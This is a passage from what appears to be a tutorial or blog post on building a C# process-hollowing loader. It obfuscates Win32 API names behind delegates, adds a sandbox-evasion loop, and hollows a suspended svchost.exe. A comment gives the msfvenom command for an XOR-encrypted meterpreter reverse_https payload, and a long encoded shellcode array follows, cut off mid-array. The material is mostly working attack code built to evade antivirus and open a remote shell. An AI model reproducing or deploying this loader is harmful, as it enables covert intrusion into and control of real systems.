        <span class="k">private</span> <span class="k">delegate</span> <span class="kt">bool</span> <span class="nf">M3</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpBaseAddress</span><span class="p">,</span> <span class="p">[</span><span class="n">Out</span><span class="p">]</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">lpBuffer</span><span class="p">,</span> <span class="kt">int</span> <span class="n">dwSize</span><span class="p">,</span> <span class="k">out</span> <span class="n">IntPtr</span> <span class="n">lpNumberOfBytesRead</span><span class="p">);</span>
        <span class="k">private</span> <span class="k">delegate</span> <span class="kt">bool</span> <span class="nf">M4</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpBaseAddress</span><span class="p">,</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">lpBuffer</span><span class="p">,</span> <span class="n">Int32</span> <span class="n">nSize</span><span class="p">,</span> <span class="k">out</span> <span class="n">IntPtr</span> <span class="n">lpNumberOfBytesWritten</span><span class="p">);</span>
        <span class="k">private</span> <span class="k">delegate</span> <span class="kt">uint</span> <span class="nf">M5</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hThread</span><span class="p">);</span> 
</code></pre></div></div>

<p>Each function name has been obfuscated.</p>

<p>So, the first delegate function, <strong>M1</strong>, represents <strong>CreateProcess</strong>.</p>

<p>The second delegate function, <strong>M2</strong>, represents <strong>ZwQueryInformationProcess</strong>.</p>

<p>Do you see where this is going?</p>

<p>Okay? Good.</p>

<p>You’ll also notice that each custom delegate function is configured with its corresponding parameters.</p>

<p>I then created delegate instances, which essentially are new wrapper methods that will be equal to each custom delegate function:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="c1">// Create delegate instances</span>
        <span class="k">private</span> <span class="k">static</span> <span class="n">M1</span> <span class="n">F1</span><span class="p">;</span>
        <span class="k">private</span> <span class="k">static</span> <span class="n">M2</span> <span class="n">F2</span><span class="p">;</span>
        <span class="k">private</span> <span class="k">static</span> <span class="n">M3</span> <span class="n">F3</span><span class="p">;</span>
        <span class="k">private</span> <span class="k">static</span> <span class="n">M4</span> <span class="n">F4</span><span class="p">;</span>
        <span class="k">private</span> <span class="k">static</span> <span class="n">M5</span> <span class="n">F5</span><span class="p">;</span> 
</code></pre></div></div>

<p>In the <strong>Main</strong> method, I initialize the delegate instances with references to the imported functions.</p>

<p>In other words, this is so that they can be used to interact with the original Win32 API functions:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="c1">// Initialize delegate instances with the original DLL functions</span>
            <span class="n">F1</span> <span class="p">=</span> <span class="n">CreateProcess</span><span class="p">;</span>
            <span class="n">F2</span> <span class="p">=</span> <span class="n">ZwQueryInformationProcess</span><span class="p">;</span>
            <span class="n">F3</span> <span class="p">=</span> <span class="n">ReadProcessMemory</span><span class="p">;</span>
            <span class="n">F4</span> <span class="p">=</span> <span class="n">WriteProcessMemory</span><span class="p">;</span>
            <span class="n">F5</span> <span class="p">=</span> <span class="n">ResumeThread</span><span class="p">;</span>
            <span class="c1">// Run sandbox/emulation evasion first before executing our shellcode</span>
            <span class="c1">// Perform many iterations of for loop, 900 million, to trip up emulator</span>
            <span class="n">Evasion</span><span class="p">.</span><span class="nf">MI</span><span class="p">();</span>
            <span class="c1">// After evasion is performed, we finally call the runner</span>
            <span class="nf">Run</span><span class="p">();</span>
        <span class="p">}</span> 
</code></pre></div></div>

<p>Now that the delegate functions are initialized, I modified the <strong>Run</strong> method.</p>

<p>(You may also notice that I have obfuscated the method name for the “Many Iterations” technique. Changing the method name from <strong>ManyIterations</strong> to just <strong>MI</strong>.)</p>

<p>I changed each Win32 API function call to its corresponding obfuscated version:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="k">static</span> <span class="k">void</span> <span class="nf">Run</span><span class="p">()</span>
        <span class="p">{</span>
            <span class="n">STARTUPINFO</span> <span class="n">si</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">STARTUPINFO</span><span class="p">();</span>
            <span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">PROCESS_INFORMATION</span><span class="p">();</span>
            <span class="kt">bool</span> <span class="n">res</span> <span class="p">=</span> <span class="nf">F1</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="s">"C:\\Windows\\System32\\svchost.exe"</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span>
                <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">false</span><span class="p">,</span> <span class="m">0x4</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">null</span><span class="p">,</span> <span class="k">ref</span> <span class="n">si</span><span class="p">,</span> <span class="k">out</span> <span class="n">pi</span><span class="p">);</span>
            <span class="n">PROCESS_BASIC_INFORMATION</span> <span class="n">bi</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">PROCESS_BASIC_INFORMATION</span><span class="p">();</span>
            <span class="kt">uint</span> <span class="n">tmp</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
            <span class="n">IntPtr</span> <span class="n">hProcess</span> <span class="p">=</span> <span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">;</span>
            <span class="nf">F2</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="k">ref</span> <span class="n">bi</span><span class="p">,</span> <span class="p">(</span><span class="kt">uint</span><span class="p">)(</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Size</span> <span class="p">*</span> <span class="m">6</span><span class="p">),</span> <span class="k">ref</span> <span class="n">tmp</span><span class="p">);</span>
            <span class="n">IntPtr</span> <span class="n">ptrToImageBase</span> <span class="p">=</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)((</span><span class="n">Int64</span><span class="p">)</span><span class="n">bi</span><span class="p">.</span><span class="n">PebAddress</span> <span class="p">+</span> <span class="m">0x10</span><span class="p">);</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">addrBuf</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Size</span><span class="p">];</span>
            <span class="n">IntPtr</span> <span class="n">nRead</span> <span class="p">=</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">;</span>
            <span class="nf">F3</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">ptrToImageBase</span><span class="p">,</span> <span class="n">addrBuf</span><span class="p">,</span> <span class="n">addrBuf</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="k">out</span> <span class="n">nRead</span><span class="p">);</span>
            <span class="n">IntPtr</span> <span class="n">svchostBase</span> <span class="p">=</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)(</span><span class="n">BitConverter</span><span class="p">.</span><span class="nf">ToInt64</span><span class="p">(</span><span class="n">addrBuf</span><span class="p">,</span> <span class="m">0</span><span class="p">));</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">data</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">0x200</span><span class="p">];</span>
            <span class="nf">F3</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">svchostBase</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">data</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="k">out</span> <span class="n">nRead</span><span class="p">);</span>
            <span class="kt">uint</span> <span class="n">e_lfanew_offset</span> <span class="p">=</span> <span class="n">BitConverter</span><span class="p">.</span><span class="nf">ToUInt32</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="m">0x3C</span><span class="p">);</span>
            <span class="kt">uint</span> <span class="n">opthdr</span> <span class="p">=</span> <span class="n">e_lfanew_offset</span> <span class="p">+</span> <span class="m">0x28</span><span class="p">;</span>
            <span class="kt">uint</span> <span class="n">entrypoint_rva</span> <span class="p">=</span> <span class="n">BitConverter</span><span class="p">.</span><span class="nf">ToUInt32</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">opthdr</span><span class="p">);</span>
            <span class="n">IntPtr</span> <span class="n">addressOfEntryPoint</span> <span class="p">=</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)(</span><span class="n">entrypoint_rva</span> <span class="p">+</span> <span class="p">(</span><span class="n">UInt64</span><span class="p">)</span><span class="n">svchostBase</span><span class="p">);</span>
            <span class="c1">// Generate XOR shellcode with MSFVenom: msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.x.x LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key z -i 20 | tr -d '\n\r'</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">buf</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">804</span><span class="p">]</span> <span class="p">{</span> <span class="m">0x86</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0x9e</span><span class="p">,</span> <span class="m">0x8a</span><span class="p">,</span> <span class="m">0x92</span><span class="p">,</span> <span class="m">0xb6</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xa8</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x1a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0xcd</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0xd6</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x1b</span><span class="p">,</span> <span class="m">0x06</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0x98</span><span class="p">,</span> <span class="m">0x97</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0xfb</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x71</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0xfa</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x1d</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x3e</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x3a</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x99</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xac</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0xd6</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x9a</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x5e</span><span class="p">,</span> <span class="m">0x72</span><span class="p">,</span> <span class="m">0x3f</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0xa2</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x3e</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x3a</span><span class="p">,</span> <span class="m">0x5e</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x76</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x3e</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x3a</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x7e</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x24</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0x96</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0x9a</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x68</span><span class="p">,</span> <span class="m">0x93</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0x27</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xa1</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xc4</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x14</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x14</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xbd</span><span class="p">,</span> <span class="m">0xb8</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0x5c</span><span class="p">,</span> <span class="m">0x7d</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x40</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0xdd</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x92</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x54</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x54</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x54</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xbd</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xe5</span><span class="p">,</span> <span class="m">0xbc</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x92</span><span class="p">,</span> <span class="m">0x80</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x11</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x1e</span><span class="p">,</span> <span class="m">0x17</span><span class="p">,</span> <span class="m">0x4f</span><span class="p">,</span> <span class="m">0x17</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0x11</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x1e</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x1d</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x19</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0x3d</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x0b</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x19</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x3e</span><span class="p">,</span> <span class="m">0x1e</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x1e</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x3f</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x1e</span><span class="p">,</span> <span class="m">0x3d</span><span class="p">,</span> <span class="m">0x0b</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x3f</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x1b</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x19</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x0b</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x09</span><span class="p">,</span> <span class="m">0x16</span><span class="p">,</span> <span class="m">0x17</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x16</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x3f</span><span class="p">,</span> <span class="m">0x4f</span><span class="p">,</span> <span class="m">0x19</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x25</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x1b</span><span class="p">,</span> <span class="m">0x3d</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x3d</span><span class="p">,</span> <span class="m">0x16</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x16</span><span class="p">,</span> <span class="m">0x3d</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x1b</span><span class="p">,</span> <span class="m">0x0a</span><span class="p">,</span> <span class="m">0x14</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x0b</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x25</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0x0c</span><span class="p">,</span> <span class="m">0x3e</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x0a</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x19</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x11</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x17</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span 